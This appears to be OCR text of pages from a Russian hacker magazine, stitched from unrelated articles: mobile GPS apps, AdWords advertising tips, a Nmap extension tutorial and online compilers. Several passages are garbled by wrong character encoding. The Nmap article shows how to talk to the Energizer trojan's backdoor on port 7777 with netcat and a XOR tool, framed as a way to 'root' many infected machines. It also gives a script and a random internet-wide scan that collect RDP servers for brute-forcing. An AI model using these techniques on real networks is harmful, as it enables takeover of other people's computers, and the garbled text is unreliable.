он сам участвует в сборе данных о движении на дорогах. Приложение 
периодически передает на сервер текущие координаты и скорость. 
Если несколько человек движутся в одном направлении по одной и 
той же улице со скоростью 40 км/ч, значит, улица свободна, и ее можно 
пометить зеленым цветом. Если же, наоборот, в каком-то месте все 
еле ползут, то участникам рассылается обновленная информация с 
«красными» участками дороги. Те же самые данные отображаются и 
на онлайн-сервисе Яндекс.Карты. На этом возможности комьюнити не 
заканчиваются. Видишь аварию или дорожные работы? Как же они 
заколебали! Один клик мыши — и информация ушла на сервер, откуда 
ретранслируется для всех. Можно долго ругать Яндекс.Пробки за то, 
что они врут и берут данные с потолка, но такой подход действительно 
работает и позволяет внести хоть какую-то толику контроля за ситуаци-
ей. Зачем ехать по улице, где даже по этому сервису — непроходимая 
пробка? К тому же, данные Яндекса используются и программами 
навигации, которые умеют вычислять маршрут, учитывая ситуацию на 
дороге. Мобильные Яндекс.Карты поддерживают платформы Windows 
Mobile, Symbian, Java, Android и Blackberry и позволяют посмотреть 
карты более 130 городов России, Украины и других стран. Функция 
пробок доступна только для нескольких городов, но это, возможно, к 
лучшему — значит, где-то еще можно свободно передвигаться по горо-
ду. Москвичам, как особо пострадавшим, расскажу один хинт: чтобы 
не тратить лишний GPRS-трафик, лучше скачать карту Москвы с сайта 
Яндекса и сохранить ее в телефоне. 

WAZE
Понятно, что чем больше пользователей отправляют информацию 
о своих передвижениях, тем точнее будет информация о пробках. 
Но когда пользователей очень много, можно пойти на большее — с 
их помощью создавать саму карту. Проект OpenStreetMap (www.
openstreetmap.org) появился давно и позволяет всем желающим соз-

давать и вносить изменения в карты на основе wiki-системы, в том 
числе с помощью загрузки своих GPS-треков (логов передвижения, 
записанных GPS-софтом). Сейчас сервис может похвастаться очень 
неплохим покрытием, к тому же именно его использовали во время 
спасательных работ на Гаити. С его помощью всего за пару дней 
сумели создать подробные карты областей острова, пострадавших 
в результате землетрясения. Проект Waze (www.waze.com) намного 
более молодой, а потому использующий более современные подходы 
проект. По сути, это программа для навигации с отображением дорож-
ной ситуации, но с большим отличием от всех остальных: карты для 
нее составляют сами пользователи — так называемые вейзеры. Во 
время движения Waze записывает трек и периодически отсылает его 
на сервер. Если по этой дороге проедет еще хоть один пользователь, 
то дорога считается подтвержденной и появляется на карте. За про-
кладку дорог вейзеру начисляются очки. Наименования улицам также 
дают пользователи; за это можно получить дополнительные поинты 
(здесь система чем-то похожа на OpenStreetMap). Как и в Яндекс.
Картах, водители могут посылать на сервер информацию о пробках, 
ДТП, стационарных камерах-радарах и полицейских засадах. Причем 
для каждого события можно оставить комментарий или, например, 
опровергнуть сообщения — все это делается через удобный кли-
ент. Я использовал версию для Android, но есть также реализации 
для iPhone, Windows Mobile и Symbian. Что касается покрытия карт, 
то именно для России оно довольно скудно. Причина очевидна — 
маленькое комьюнити, но именно мы с тобой можем его увеличить. 
Если прямо сегодня начать отрисовывать карты вместе, особенно в тех 
местах, где ни одна онлайн-карта еще недоступна, то покрытие можно 
довольно быстро увеличить в разы.

ÌÎÁÈËÜÍÛÉ ÏËÀÍÅÒÀÐÈÉ
Впрочем, что это мы все о дорогах, да о дорогах. Давай поговорим 
о звездах! Помимо GPS-модуля многие производители встраивают 
в телефон еще и акселерометр (это не такой дорогой модуль), кото-
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лями во время езды
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рый используется для распознавания ландшафтного и 
порт ретного расположения телефона и еще миллиона 
вещей, на которые хватает фантазии разработчиков. 
Одни воссоздают игрушки вроде лабиринта, где нужно 
провести шарик до финиша, не засадив его в ловушки-
отверстия. А другие используют акселерометр в связке с 
GPS-модулем, получая убойную смесь разных технологий. 
Именно так и поступила команда энтузиастов из Google, 
разработавших приложение Sky Map for Android (www.
google.com/sky/skymap). Получился мобильный плане-
тарий. Идея программы родилась в умах разработчиков 
еще до офи циального появления платформы Android. 
Воодушевленные теми возможностями, которые будут 
в новых телефонах, включая GPS, цифровой компас и 
сенсоры движения, они подумали, что круто было бы 
использовать эти фичи в мобильном приложении, кото-
рое показывает картинку неба в зависимости от того, где 
находится человек и куда он направил телефон. GPS и 
часы позволяли генерировать карту для точного времени и 
расположения пользователя, а настоящих чудес позволяли 
добиться цифровой компас и акселерометры. Используя 
эти два сенсора, приложение может определить точное 
направление, куда направлен телефон, и в зависимости 
от этого отображать на экране только те звезды, которые 
попадают в его виртуальный фокус зрения. В результате, 
если ты хочешь узнать, что это за звезда так ярко светит на 
Востоке, то нужно просто навести туда телефон и увидеть 
на карте, что это Венера! Как тебе? Я проверял лично, 
выезжая на место, где нет высоких зданий и зарева города 
— Sky Map реально работает! Работая в поисковом гиганте, 
ребята не могли обойти функцию поиска, причем в осо-
бенно эффектной манере. Ты просто набираешь название 
планеты или звезды (или выбираешь картинку в галерее 
фотографий с телескопа Хаббл), и телефон сам показывает, 

куда его нужно навести, чтобы увидеть объект. Чем ближе 
ты к цели, тем краснее становится курсор с направлением 
и окружностью в центре. В конце концов, объект оказыва-
ется в нем, и вуаля! Вот он, идеальный учебник астроно-
мии. Жаль только, что приложение существует только для 
платформы Android (1.5 и выше), причем в девайсе для 
работы обязательно должны быть акселерометры. 

ÈÃÐÛ Ñ GPS
Акселерометры понадобятся и в совершенно новом 
виде игр, которые используют привязку к реальному 
расположению геймера. Одна из таких игр — 3rdEye. 
Идея заключается в переносе RPG стиля в реальный 
мир: тут также есть персонаж, но перемещается он не по 
виртуальному миру, а по реальному. Сюжет в игре пока 
прост: текущее местоположение отображается на карте 
(используется только GPS, так как важна точность дан-
ных), вокруг бегают различные существа, которых нужно 
истреблять. Истреблять придется вполне натурально: 
держа в руке телефон, необходимо реально обозначать 
удары. Это тебе не мышкой кликать. Нарвешься на 
толпу монстров — придется реально попыхтеть :). Для 
считывания телодвижений используется акселерометр. 
Помимо этого можно сбивать врагов (прошу обратить 
внимание — виртуальных врагов) на машине, но опыта 
за это дается очень мало. Менее прогрессивная, но 
также использующая GPS-приемник игра — Геокэшинг. 
Она существует в разных исполнениях, но смысл во всех 
вариантах одинаковый: найти по GPS-координатам и 
подсказкам нужное место и спрятанный там тайник. В 
качестве локаций выбираются различные, в том числе 
опасные, места, например, заброшенные ракетные шахты 
и целые военные части. Если тебе интересно, добро пожа-
ловать на www.geocaching.com и российский проект www.
geocaching.su.   z
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01 
Для успешной реклам-
ной кампании необходи-
мо иметь четкое понима-

ние своих целей и потребностей 
целевой аудитории, которые будут 
отражаться в рекламных объявле-
ниях. Не нужно стремиться вста-
вить все рекламируемые услуги/
товары/сервисы в одно объяв-
ление: куда эффективнее будет 
сделать несколько различных. 
Например, если стоит задача по 
рекламе автосервиса — то услуги 
выездного шиномонтажа, ремонта 
автостекол и продажи б/у АКПП 
необходимо оформить в 3 раз-
личных рекламы, у которых будут 
совершенно разные аудитории, 
цели и ключевые слова.
Важно, чтобы сама структура рек-
ламной кампании отражала струк-
туру рекламируемого сайта или 
различные направления бизнеса.

02 
Помни о возможности 
использования геогра-
фического и временного 

таргетинга. К примеру, если ты 
продаешь дешевый товар в Туле, 
то им никогда не заинтересуется 
покупатель из Владивостока. 
Помимо рекламы на страницах 
поиска Google, через AdWords 
ты можешь размещать рекламу 
и на партнерских сайтах, причем 
есть возможность самостоятельно 
выбрать наиболее интересные 
площадки.

03  Позиция твоего объяв-
ления зависит от ставки, 
которую ты готов запла-

тить и показателя качества (quality 

score), который формируется на 
основе нескольких параметров: 
CTR объявления, качества целе-
вой страницы, истории аккаунта 
и т.д. Если в блоке 3 позиции, 
а объявлений десять, то будут 
показаны трое самых лучших. 
Соответственно, твое объявление 
будет показываться далеко не 
всегда. Контролировать види-
мость своей рекламы можно с 
помощью «Инструмента диагнос-
тики объявлений».

04 Подбирать слова для 
объявления надо особо 
тщательно. Помочь в 

этом деле и оценить предстоящие 
расходы поможет специальный 
«Инструмент подсказки ключе-
вых слов». С помощью AdWords 
ты можешь создать несколько 
рекламных кампаний, в каждой 
из которых будет свой список 
ключевых слов. Не занижай сам 
себе CTR миксованием запросов 
абсолютно различного смысла, 
таких как, к примеру, «ремонт 
сайлентблоков» и «покупка плю-
шевых игрушек». 

05 В заголовке объявления 
лучше всего указывать 
тот запрос, который ты 

собираешься продвигать. Google 
считает такие объявления более 
релевантными. Используй в 
объявлении релевантные клю-
чевые слова, на которые реаги-
руют потенциальные покупатели: 
«дешево», «бесплатно», «быстро». 
Нужно помнить и о возможности 
отображать рекламные ссылки 

только в случае точного совпаде-
ния поискового запроса с ключе-
выми словами. Для этого исполь-
зуют квадратные скобки вокруг 
ключевых слов: [пример]. Кстати 
говоря, ключевые слова, которые 
используются в объявлении, будут 
выделены жирным шрифтом, что 
привлечет дополнительное вни-
мание пользователей.

06 
Старайся оттолкнуть от 
объявлений тех, кто не 
готов совершить покуп-

ку, а просто праздно интересует-
ся. Хорошая идея — обозначить 
в рекламном объявлении цену 
на товар, которая, во-первых, 
отвадит пустых «кликальщи-
ков» от объявления, а во-вто-
рых, понизит среднюю цену за 
привлеченного покупателя. Не 
пугайся, что CTR при этом слег-
ка уменьшится — так и должно 
быть. Зато человек, перешедший 
по объявлению с указанной сто-
имостью, потенциально может 
позволить себе покупку.

07 При создании кампании 
разумно использовать 
минус-слова, чтобы 

исключить показы объявлений 
при не совсем релевантных 
запросах и отсеять ненужный 
трафик, тем самым повысив CTR.
Например, если ты рекламиру-
ешь компанию, которая занима-
ется восстановлением данных, то 
тебе мало интересны люди, кото-
рые ищут софт для data recovery, 
поэтому в качестве минус-слова 
можно поставить «скачать».

08 
Необходимо правильно 
выбрать целевую стра-
ницу, на которую будет 

ссылаться объявление. Чем выше 
будет релевантность твоего объ-
явления с поисковым запросом 
пользователя и той страницей, 
на которую он попадет, тем выше 
будет позиция объявления в 
рекламном блоке. К тому же, 
клиенту важно оказаться там, где 
он сразу может воспользоваться 
услугой, а не блуждать по внут-
ренним ссылкам.  

09 Для статистики пере-
ходов через Google 
Analytics добавляй в 

конец ссылки на целевую страни-
цу уникальный тег, который будет 
принадлежать данному объявле-
нию, это поможет в дальнейшем 
легче анализировать полезные 
объявления и те, от которых 
нужно избавиться. 

10 На сайте AdWords 
собрано огромное 
количество материалов 

по созданию и управлению рек-
ламными кампаниями с помощью 
AdWords. Особенно рекомендуем 
«Руководство для начинающих» 
для того чтобы лучше разобрать-
ся, как максимально повысить 
эффективность и при этом 
сократить расходы. Так же для 
желающих узнать больше о том, 
как работает AdWords существует 
блог AdWords, Youtube канал с 
образовательными видео, онлайн 
школа AdWords и телефонная под-
держка: +7 495 780 0022.

Ìîëîäöû òå, êòî óæå óñïåë âîñïîëüçîâàòüñÿ ÿðêèì âêëàäûøåì îò Google â íàøåì æóðíàëå. Âñå-òàêè
1000 ðóáëåé, êîòîðûå ðåàëüíî ìîæíî ïîòðàòèòü íà ðåêëàìíóþ êàìïàíèþ ëþáîãî ñàéòà, ïðîñòî òàê íà 

äîðîãå íå âàëÿþòñÿ. Õîòÿ ýòî íå ãëàâíîå. Êîãäà áû òû åùå ìîã ïîïðîáîâàòü ïðîäâèíóòûé èíñòðóìåíò äëÿ 
ðàçìåùåíèÿ êîíòåêñòíîé ðåêëàìû â äåéñòâèè? À òóò âñå âîçìîæíîñòè AdWords ê òâîèì óñëóãàì: ïðîáóé — 
íå õî÷ó. Íî, ÷òîáû ïðåäîñòåðå÷ü òåáÿ îò âîçìîæíûõ îøèáîê, ìû ïîäãîòîâèëè íåñêîëüêî ñîâåòîâ, êîòîðûå 

ïîçâîëÿò ðàáîòàòü ñ ñèñòåìîé íàèáîëåå ýôôåêòèâíî.

РЕКЛАМА
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Ïðåäñòàâëÿòü Nmap ÷èòàòåëþ ][ ñðîäíè òîìó, ÷òî îáúÿñíÿòü ôèçèêó-ÿäåðùèêó, 
÷òî òàêîå çàðÿæåííàÿ ÷àñòèöà. Nmap çíàþò âñå, è ñêîðåå âñåãî äàæå õîòÿ áû 
ðàçîê èì ïîëüçîâàëèñü. Íî âîò ïàðàäîêñ: òó èçóìèòåëüíóþ ïî ðàñøèðåíèþ 
àðõèòåêòóðó, ïîçâîëÿþùóþ çàòî÷èòü ñêàíåð ïîä ñåáÿ, âñå óïîðíî îáõîäÿò 
ñòîðîíîé. È ñîâåðøåííî íàïðàñíî.

Ðåàëèçóåì ñîáñòâåííûå ïðîâåðêè 
â èçâåñòíîì ñêàíåðå áåçîïàñíîñòè

Êàê 
ïðîêà÷àòü Nmap?
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Å
сли ты следишь за обновлениями 
легендарного сканера, которые, 
кстати говоря, в последнее время 
выходят особенно часто, то должен 
был обратить внимание на две 

цифры, которые фигурируют в каждой записи 
changelog'а. Первая означает количество 
обновленных сигнатур для определения 
сервисов и операционных систем. А 
вторая — количество новых NSE-скриптов 
для реализации более тонких проверок и 
интеллектуального сканирования. Обычно 
такие скрипты разрабатываются для какой-
нибудь серьезной уязвимости и используют 
части оказавшихся в паблике сплойтов. Но 
то, что оказалось у всех — это уже не так 
интересно. Другое дело — сделать что-то 
для себя. Скажем, зная о том, как устроен 
какой-то свежий троян, добавить в сканер 

определенные проверки и таким образом, 
быстро прочесав сеть, порутать сразу 
множество машин. Как тебе?

FINGERPRINTING ÑÂÎÈÌ ÐÓÊÀÌÈ
Конечно, можно написать с нуля программу-
сканер, которая будет отправлять некий 
запрос, парсить результат и, в конечном 
счете, возможно, детектировать заражен-
ные машины. И реализовать некое подобие 
многопоточности тоже несложно. Но разве 
все это может сравниться с теми механиз-
мами, которые столько времени оттачи-
вались в Nmap? Я так не думаю. Одна из 
ключевых особенностей сканера — широкие 
возможнос ти fingerprinting'а, то есть как 
раз определения версии ОС и работающих 
сервисов по так называемым отпечаткам 
пальцев (в терминах Nmap они называются 

probe). Сервисом может быть обычный WWW-
демон, а может — трой. При этом абсолютно 
необязательно мириться с той базой, которая 
по умолчанию поставляется со сканером. 
Посмотрим, как можно обновить ее самому.
В качестве примера возьмем троян, который 
распространялся в Европе с софтом для заря-
док от компании Energizer (мы рассказали о 
нем в Meganews прошлого номера). На офи-
циальном сайте программа уже обновлена, но 
зараженный вариант по-прежнему доступен 
в снимках сайтов, сохраненных архиватором 
интернета Wayback Machine (web.archive.
org). Заниматься глубоким реверсингом мы 
не будем. Хотя расковырять трой достаточ-
но просто (автор не сильно заморачивался, 
чтобы хоть как-то закриптовать малварь), это 
уже сделали за нас. На сайте www.symantec.
com/connect/blogs/trojan-found-usb-battery-
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charger-software приведено подробное 
описание вируса, из которого нам интересны 
несколько фактов:
• троян слушает 7777 порт;
• любые данные, которые троян принимает 
на этот порт, XOR-ятся со значением 0xE5 
перед тем, как обрабатываются далее;
• команды (запуск процесса, удаление 
файла, выполнения команды и т.д.) пере-
даются в виде CLSID (уникальный иденти-
фикатор вида {XXXXXXXX-XXXX-XXXX-XXXX-
XXXXXXXXXXXX});
• перед командой передаются 4 управляю-
щих байта, в которых указывается длина 
управляющего сообщения.
Одна из таких команд — "{E2AC5089-3820-
43fe-8A4D-A7028FAD8C28}" — проверяет, акти-
вен троян в системе или нет. Если вирус при-
нимает и понимает ее, то в ответ он отправ-
ляет текст  «YES», который так же, как и сама 
команда, XOR'ится символом 0xE5. Похоже, это 
как раз то, что поможет нам выявить наличие 

трояна на удаленной системе. Итак, мы знаем, 
что отправлять (команду для проверки актив-
ности), куда отправлять (порт 7777) и что долж-
ны получить («YES»); осталось реализовать 
проверку.

ÂÑÅ ÎÊ? YES!
Для начала попробуем отправить пакет с 

командой на порт 7777 вручную. Для этого 
нам понадобится утилита netcat (с www.
securityfocus.com/tools/13 можно скачать 
ее портированную версию под Windows). 
Поскольку троян ожидает данные в закрипто-
ванном с помощью XOR'а виде, то придется 
выполнить такое шифрование. Напишем для 
этого предельно простую утилиту на Си, хотя 
то же самое за минуту можно сделать и на 
любом другом языке. 

#include <stdio.h>

int main(int argc, char *argv[])

{

    int c;

    while((c = getchar()) != EOF)

        printf("%c", c ^ 0xE5);

    return 0;

}

Все просто: тулза читает символы из стан-
дартного потока вывода, далее для каждого 
символа осуществляет операцию "XOR 0xE5" 
и результат, то есть закриптованный текст, 
отправляет в поток вывода:

$ gcc -o test test.c

$ echo "this is a test" | ./test | 

hexdump -C

00000000  91 8d 8c 96 c5 8c 

96 c5  84 c5 91 80 96 91 ef     

|....A..A.A....i|

Все хорошо, кроме одного момента — в конце 
у нас нарисовался лишний символ — 0xEF, 
который означает перевод строки. С другой 
стороны, не хватает терминального симво-
ла завершения строки. Поэтому запускаем 
команду echo с ключом "-n", чтобы избавить-
ся от перевода строки, и ключом "-e", чтобы 
та распознала escape-символ "\x00", который 
мы добавим в конце сообщения:

$ echo -ne "this is a test\x00" | 

./test | hexdump -C

00000000  91 8d 8c 96 c5 8c 

96 c5  84 c5 91 80 96 91 e5     

|....A..A.A....a|

Вот теперь все правильно. Осталось под-
ставить нашу команду "{E2AC5089-3820-43fe-
8A4D-A7028FAD8C28}", указав перед ней ее 
размер (38 символов самой команды + 1 тер-

Готовые библиотеки NSE
Чтобы сделать программирование скриптов на Lua еще более эффективным, в Nmap 
встроено много дополнительных библиотек, специально заточенных под выполнение 
различных сетевых проверок. Все они находятся в папке %nmap%/nselib. Чтобы ты не 
изобретал велосипед, придумывая, например, как выполнить запрос к DNS, привожу 
список наиболее часто используемых библиотек:
backdoor — простейшая реализация бэкдора в системе;
bin — работа с двоичными данными;
datafiles — библиотека для работы со встроенными файла Nmap (например, nmap-
protocols — описанием и номерами портов различных протоколов);
default — наиболее часто используемые сетевые сценарии;
dns — работа с DNS;
http — работа с HTTP;
msrpc — библиотека для работы с вызовами MSRPC;
mysql — некоторые операции с MySQL;
netbios — работа с NetBIOS-трафиком;
nmap — взаимодействие с ядром сканера;
packer — манипулирование с пакетами в RAW-виде;
proxy — работа с прокси;
shortport — работа с портами;
smb — работа с SMB-протоколом;
sss1/ssh2 — работа с SSH.

Любые библиотеки подключаются с помощью команды require.
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В новой версии Nmap даже не 
надо добавлять нашу пробу — 
отпечаток для изученного троя-
на там уже есть!

Реверсинг трояна от компании Symantec

Стандартный NSE-скрипты Nmap



PC_ZONE

минальный символ = 39 байт, что в шестнадцатеричном 
представлении дает 27):

echo -ne "\x27\x00\x00\x00{E2AC5089-3820-

43fe-8A4D-A7028FAD8C28}\x00"

По идее, этот пакет должен вызвать ответ трояна. Для 
этого отсылаем вывод команд с помощью netcat'а на 7777 
порт зараженной машины:

$ echo -ne "\x27\x00\x00\x00{E2AC5089-3820-

43fe-8A4D-A7028FAD8C28}\x00" |

  ./test | # øèôðóåì êîìàíäó

  ncat 192.168.1.123 7777 | # îòïðàâëÿåì åå 

  ./test # ïîëó÷àåì ðåçóëüòàò

îòâåò:

YES

Да! Троя разговаривает с нами и говорит «YES» — зна-
чит, все работает! Как видишь, fingerprinting удаленных 
сервисов — это далеко не всегда очень сложно.

ÑÎÇÄÀÅÌ PROBE ÄËß NMAP
Теперь самое время перейти к тому, ради чего мы все 
это и затевали, а именно — созданию слепка для базы 
Nmap'а. Первое, что нам понадобится — это найти файл 
nmap-service-probes. Обычно он располагается в c:\
program files\nmap (/usr/share/nmap или /usr/local/share/
nmap в случае с никсами). Это самый обычный текстовый 
конфиг, в котором последовательно перечислены все 
probe'ы в специальном формате. Если выполнить послед-
нюю команду, но не отправлять ее в netcat, то на экране 
появится зашифрованная команда, которую и нужно 
вставить в отпечаток:

# Íàø ñëåïîê äëÿ îïðåäåëåíèÿ Energizer 

trojan

Probe TCP Energizer q|\xC2\xE5\xE5\xE5\x9E\

xA0\xD7\xA4\xA6\xD0\xD5\xDD\xDC\xC8\xD6\xDD\

xD7\xD5\xC8\xD1\xD6\x83\x80\xC8\xDD\xA4\xD1\

xA1\xC8\xA4\xD2\xD5\xD7\xDD\xA3\xA4\xA1\xDD\

xA6\xD7\xDD\x98\xE5|

rarity 8

ports 7777

match energizer m|^\xbc\xa0\xb6$| p/

Energizer backdoor/ o/Windows/ 

i/**BACKDOOR**/

Вот и все: fingerprinting база обзавелась новым слеп-
ком. Обозначение нового элемента fingerprinting-базы 
начинается с ключевого слова Probe, последователь-
ность байтов обособляется "q|" в начале и символом "|" 
в конце. Параметр rarity указывает вероятность срабаты-
вания проверки. Ports задает порты, на которые отправ-
ляется проверяющая последовательность. С помощью 
команды match и регулярного выражения в Perl-стиле 
определяется отчет сервера, на который должен реаги-
ровать Nmap. В результате Nmap будет отсылать пакет на 
порт 7777 аналогично тому, что мы только что сделали с 
помощью Netcat'а. Если в ответ придет закодированное 
слово «YES», то сканер определит присутствие троя в 
системе. Проверим это в действии: 

$ nmap -sV -p7777 192.168.1.2

Starting Nmap 5.30BETA1 ( http://nmap.org )

Nmap scan report for 192.168.1.2

Host is up (0.00024s latency).

PORT     STATE SERVICE VERSION

7777/tcp open  energizer  Energizer 

backdoor (**BACKDOOR**)

Service Info: OS: Windows

Таким образом, потратив совсем немного времени, мы нау-
чили Nmap находить зараженные машины в сети. Важно, 
что такая проверка никак не выбивается из привычного 
образа использования Nmap. Для сканируемых хостов будет 
выполняться еще одна проверка, вот и все. Ты по-прежнему 
сможешь использовать все остальные возможности Nmap, в 
том числе и автоматизированные скрипты.

NSE — ×ÒÎ ÝÒÎ?
Стоп, что еще за автоматизированные скрипты? Я гово-
рю о скриптовом движке Nmap Scripting Engine (NSE), 
который появился еще в 4.21 версии сканера, причем 
разработчики корпели над ним более 6 месяцев. По 
сути, в Nmap сейчас больше обновляется не само ядро 
сканера, а количество поддерживаемых NSE-сценариев. 
Например, в последней доступной бете (5.30BETA1) поя-
вились 37 новых скриптов: сценарий http-vmware-path-
vuln, позволяющий уводить гостевые машины из уязви-
мых продуктов VMware; mysql-empty-password, который 
пытается найти базы с пустыми паролями для админа и 
анонимного пользователя, и т.д. Всего таких скриптов в 
Nmap 117, но это только в публичном доступе. На самом 
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На диске ты найдешь 
последнюю версию 
Nmap, а также все 
разработанные нами 
скрипты и probe'ы.

dvd

DVD

Наш сценарий на NSE

Zenmap позволяет создать профайл для 
сканирования, чтобы сохранить настрой-
ки сканирования
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деле это отличный механизм на случай, когда к мощ-
ным возможностям сканирования необходимо добавить 
больше интеллектуальности или интерактивное общение 
с удаленным сервисом. В нашем примере, создавая пра-
вило для поиска хостов с трояном Energizer, мы смогли 
обойтись отправкой статического запроса и обработкой 
ответа. С другой стороны, можно было разобраться со 
всеми остальными командами троя и, написав несложный 
скрипт, выполнить последовательность команд, чтобы 
вытащить полезную информацию с зараженных систем. 
Короче говоря, NSE позволяет не только использовать 
всю мощь Nmap, но и автоматизировать многие действия. 
Для написания скриптов используется язык программиро-
вания Lua (www.lua.ru). Конечно, было бы вдвойне здоро-
во, если бы в основе NSE был Python (который к тому же 
использовался для создания отдельных частей сканера), 
но тут, как говорится, разработчикам виднее. С другой сто-
роны, для Lua, как и для Python, есть много библиотек для 
взаимодействия с различными сетевыми сервисами и про-
токолами (подробнее во врезке); они идут вместе с Nmap.

ÏÈØÅÌ ÑÊÐÈÏÒ ÄËß NMAP
Для создания NSE-сценариев используется четкий и 
очень простой синтаксис. В общем виде структура любого 
скрипта состоит из нескольких элементов. 

description — îïèñàíèå ñöåíàðèÿ;
categories — åãî ïðèíàäëåæíîñòü ê êàòåãî-

ðèÿì;

author — àâòîð ñêðèïòà;

license — îïèñàíèå ëèöåíçèè;

dependencies — óêàçàíèå çàâèñèìîñòåé;

port/host rules — ïðàâèëà âûïîëíåíèÿ ñêðèï-

òà;

action — ÿäðî ñêðèïòà, ðåàëèçóþùåå íåïî-

ñðåäñòâåííî ëîãèêó åãî ðàáîòû.

Скриптовый движок Nmap детально описан на nmap.org/
book/nse.html, поэтому не буду чрезмерно перегружать тебя 
теорией. Лучше сразу попробуем собрать простенький сце-
нарий на практике. В прошлом номере у нас был материал 
«Брутим дедики по-новому», в котором мы делились новыми 
техниками в брутфорсе RDP-серверов. Предлагаю в допол-
нение к имеющимся разработкам добавить быстрое скани-
рование и поиск RPD-серверов с помощью Nmap. Задачей 
займется самописный NSE-скрипт, который будет экспорти-
ровать файл с найденными хостами для дальнейшей работы 
брутфорса. По сути это всего десяток строк кода на Lua:

description = [[ RDP Servers seachtool ]]

author = "X Group"

license = "Same as Nmap--See http://nmap.

org/book/man-legal.html"

categories = {"discovery"}

require "shortport"

portrule = shortport.port_or_service(3389, 

"ms-term-serv")

action = function(host, port)

 file = io.open ("ip_with_rdp.

txt","a+")

 file:write(host.ip.."\n")

 file:flash()

 file:close()

end

Кратко пройдемся по исходнику скрипта. В качестве кате-
гории NSE-сценария используется значение "discovery", 
подразумевающее, что скрипт будет осуществлять иссле-
дование сети — по большом счету это ни на что не влияет. 
Далее с помощью require мы подключили NSE-библиотеку 
для работы с портами.  Важная часть любого сценария 
— условие его выполнения. В скрипте используется либо 
правило для портов (portrule), в которых перечисляются 
порты, с которыми будут осуществляться действия, либо 
правило для хостов (hostrule). В общем смысле правило — 
это функция, возвращающая true или false. От этого зави-
сит, будет выполняться основная часть скрипта, заданная 
в action, или нет. В нашем случае мы используем portrule 
и с помощью функции port_or_service определяе м, что 
хотим иметь дело с сервисом на порту 3389 или серви-
сом, распознанным как ms-term-serv. Непосредственно 
сердце сценариев, в котором определяются действия, у 
нас очень простое. Если Nmap распознал терминальный 
RDP-сервис или просто открытый 3389 порт, мы просто 
записываем его IP-адрес в файл. 
Текст скрипта сохраняем в файл (например, rpdlist.nse) и 
размещаем в папке scripts. Кстати говоря, для удобства 
разработки скриптов лучше сохранять их с расширением 
lua, тогда текстовые редакторы, в том числе Notepad++, 
будут подсвечивать синтаксис. Чтобы запустить скрипт, 
используется ключ "--script" или его синоним "-sC":

nmap -iR 0 -n -PS 3389 -p T:3389 

--script=rpdlist.nse

Вот так просто мы создали многопоточный RPD -сканнер. 
Если подключить модули для работы с MSRPC, то можно 
попробовать выцепить список пользователя с удаленного 
компьютера и также экспортировать его в список. В этом 
случае, брутфорс будет осуществляться по известным име-
нам пользователей. Настоятельно рекомендую тебе прочи-
тать руководство по NSE nmap.org/book/nse.html, так как 
в умелых руках это позволит превратить в Nmap в универ-
сальный и чрезвычайно эффективный инструмент..z

Отличная оболочка для Nmap
Свежая утилита в наборе Nmap для срав-
нения результатов сканирования

• Если после уста-
новки Nmap, ты 
задаешься вопросом: 
«А на чем бы, соб-
ственно попробовать 
сканнер?». Смело 
используй scanme.
nmap.org. Этот хост 
создатели специально 
разработали для про-
верки функциональ-
ности сканера.

• Для того, чтобы вы-
полнить обновления 
скриптов, запусти 
nmap с ключом 
"--script-updatedb": 
nmap --script-
updatedb

• После установки 
Nmap'а помимо 
самого сканера 
ты получае шь ряд 
интересных утилит. 
В недавней версии 
появилась тулза ncat, 
которая является 
улучшенной версией 
старого доброго nc. 
Среди прочих ее 
достоинств — рабо-
та не только с TCP, 
но и с UDP, а также 
встроенная возмож-
ность проксирования 
через HTTP/CONNECT 
и SOCKS. Помимо 
этого ты получаешь 
утилиту для удобного 
сравнения резуль-
татов сканирования 
— ndiff. А 
с помощью проги 
nping ты сможешь 
конструировать за-
просы, анализировать 
ответы и измерять 
время отклика уда-
ленной системы.

info

INFO
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Âñå íà÷àëîñü ñ òîãî, ÷òî ãäå-òî â èíòåðíåò-êàôå çà ãðàíèöåé ìíå ñðî÷íî 
ïîíàäîáèëîñü ñêîìïèëèðîâàòü êðîõîòíûé èñõîäíèê. Íà îáùåñòâåííîì êîìïüþ-
òåðå ñèëüíî íå õîòåëîñü çàìîðà÷èâàòüñÿ ñ óñòàíîâêîé êîìïèëÿòîðà, ïîýòîìó 
ÿ íà óäà÷ó ïîïðîáîâàë íàéòè ñåðâèñ, êîòîðûé ñêîìïèëèðîâàë áû èñõîäíèê 
îíëàéí. È ñ ýòîãî ìîìåíòà íà÷àëîñü.

Ïîëåçíûå òóëçû äëÿ äåâåëîïåðà â âåáå

Ïðîãðàììèñò 
îíëàéí
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ÊÎÌÏÈËßÒÎÐ ÎÍËÀÉÍ
Через пару минут я уже имел на руках скомпи-
лированный бинарник. Помог сервис некоего 
турецкого программиста, который когда-то 
озадачился подобной проблемой и реали-
зовал на своем сайте веб-интерфейс для 
доступа к компилятору. А чтобы пользоваться 
было еще удобнее, прикрутил компонент для 
редактирования кода. Подсветка синтаксиса, 
нумерация строк и даже автодополнения 
команд — почти маленькая IDE. Собирается 

в один исходник в один клик или по хоткею 
Ctrl-F7, после чего сервис отдает готовый 
бинарник. Если во время сборки произошли 
ошибки, то сообщения компилятора отобра-
зятся в отдельной панели. Адрес для такого 
удачного сервиса на редкость странный: 
cmpe150-1.cmpe.boun.edu.tr/phpccompiler/
login.php, причем сайт откроется только в 
Internet Explorer. Другое серьезное ограниче-
ние — отсутствие поддержки C++. А куда же 
сейчас без нее? Поэтому когда зашла речь о 

компиляции сорца С++, пришлось отыскать 
замену. К счастью, разработчики прогрес-
сивного компилятора Comeau C/C++ на офи-
циальном сайте сделали фронтенд, который 
выполнен как раз в виде веб-приложения 
(www.comeaucomputing.com/tryitout). 
Допускается выбор различных режимов 
компиляции, версии Comeau, а также любые 
другие параметры, которые ты мог передать 
сборщику через командную строку. Кстати 
говоря, последние релизы Comeau уже под-
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держивают большинство расширений C++0x 
(обновленный и модернизировнный стандарт 
С++), поддержка которого появилась сейчас в 
Visual Studio 2010.
«Зачем вообще привязываться к какому-то 
конкретному языку», — подумали ребята из 
ideone (ideone.com) и реализовали универ-
сальный компилятор в 40 различных языков. 
Помимо С/C++ здесь поддерживаются еще 
и Java, C#, Pascal, Visual Basic .NET, все 
скриптовые языки, и даже ассемблер. Важно 
только уложиться в ограничения: 10 секунд 
на компиляцию, 5 секунд на выполнение, 256 
мегабайт памяти. Помимо этого, программа не 
сможет обращаться в Сеть и работать с фай-
лами. Некоторых ограничений удается избе-
жать, собрав программу с помощью другой 
онлайт тулзы — codepad (codepad.org).

HEX È PE-ÐÅÄÀÊÒÎÐÛ
